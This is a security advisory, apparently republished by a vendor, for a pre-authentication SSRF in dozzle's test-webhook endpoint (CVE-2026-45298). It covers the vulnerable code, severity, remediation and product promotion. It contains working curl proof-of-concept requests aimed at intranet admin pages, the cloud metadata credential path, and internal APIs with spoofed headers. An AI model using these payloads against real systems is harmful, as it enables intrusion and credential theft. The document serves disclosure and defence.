Summary
In a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that:
- Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and
- Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.
This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to, including private subnets, link-local cloud metadata, and loopback services.
Affected versions
internal/notification/dispatcher/webhook.go and internal/web/notifications.go at commit 581bab3a43ead84ea4d009a469a17af98fb3377f and earlier (the test-webhook handler has been in place since the notifications subsystem was added).
Default-deploy reachability chain
main.go:58-59 → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18 → AuthProvider default is "none"
main.go:231-243 → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188 → /api/notifications/* (incl. /test-webhook) is inside that conditional Group
So the default Quickstart deploy
docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest
exposes POST /api/notifications/test-webhook to the network without any authentication.
The vulnerable handler
// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
var input TestWebhookInput
if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
...
webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
...
result := webhook.SendTest(r.Context(), mockNotification)
...
writeJSON(w, http.StatusOK, &TestWebhookResult{
Success: result.Success,
StatusCode: statusCode,
Error: errStr,
})
}
input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.
The reflection sink
// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
limitedReader := io.LimitReader(resp.Body, 1024*1024) // 1 MB
responseBody, _ := io.ReadAll(limitedReader)
...
return TestResult{
Success: false,
StatusCode: resp.StatusCode,
Error: fmt.Sprintf("webhook returned status code %d: %s",
resp.StatusCode, string(responseBody)),
}
}
When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.
PoC
A. Read intranet admin-panel response bodies (most common path)
Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.
curl -X POST -H "Content-Type: application/json" \
-d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
http://dozzle.example.com/api/notifications/test-webhook
Response shape (writeJSON to the public Internet):
{
"Success": false,
"StatusCode": 401,
"Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}
B. Cloud IMDS reachability probe
curl -X POST -H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
http://dozzle.example.com/api/notifications/test-webhook
If StatusCode == 200, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.
C. Header injection downstream
curl -X POST -H "Content-Type: application/json" \
-d '{
"url":"http://internal-api.example.com:8080/admin/users",
"headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"}
}' \
http://dozzle.example.com/api/notifications/test-webhook
Severity
- CVSS 3.1: High,
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N≈ 7.5 in default no-auth deploy. - Auth: none in default deploy. With
DOZZLE_AUTH_PROVIDER=simpleconfigured, the same primitive is post-auth.
Reproduction environment
- Tested against:
amir20/dozzle:8.xDocker image (commit581bab3a43ead84ea4d009a469a17af98fb3377f). - Code locations:
- Handler:
internal/web/notifications.go:652-716 - Sink:
internal/notification/dispatcher/webhook.go:88-120 - Auth gate:
internal/web/routes.go:130-138, 172-188 - Default provider:
internal/support/cli/args.go:18,main.go:231
- Handler:
Reporter
Eddie Ran. Filed via reporter API per dozzle's SECURITY.md.
Impact
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-45298 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
- Refuse
test-webhookwhenAuthorization.Provider == NONE. This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin. - SSRF-harden
WebhookDispatcher. Resolve URL host once vianet.LookupIP; refuse private/loopback/link-local/CGNAT; pinhttp.Transport.DialContextto the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes. - Stop reflecting response body. UX for "test webhook" only needs
Success: bool, StatusCode: int.
Frequently Asked Questions
- What is CVE-2026-45298? CVE-2026-45298 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/amir20/dozzle (go), affecting versions <= 8.14.12. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-45298? CVE-2026-45298 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/amir20/dozzle are affected by CVE-2026-45298? github.com/amir20/dozzle (go) versions <= 8.14.12 is affected.
- Is there a fix for CVE-2026-45298? No fixed version is listed for CVE-2026-45298 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-45298 exploitable, and should I be worried? Whether CVE-2026-45298 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-45298 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-45298? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.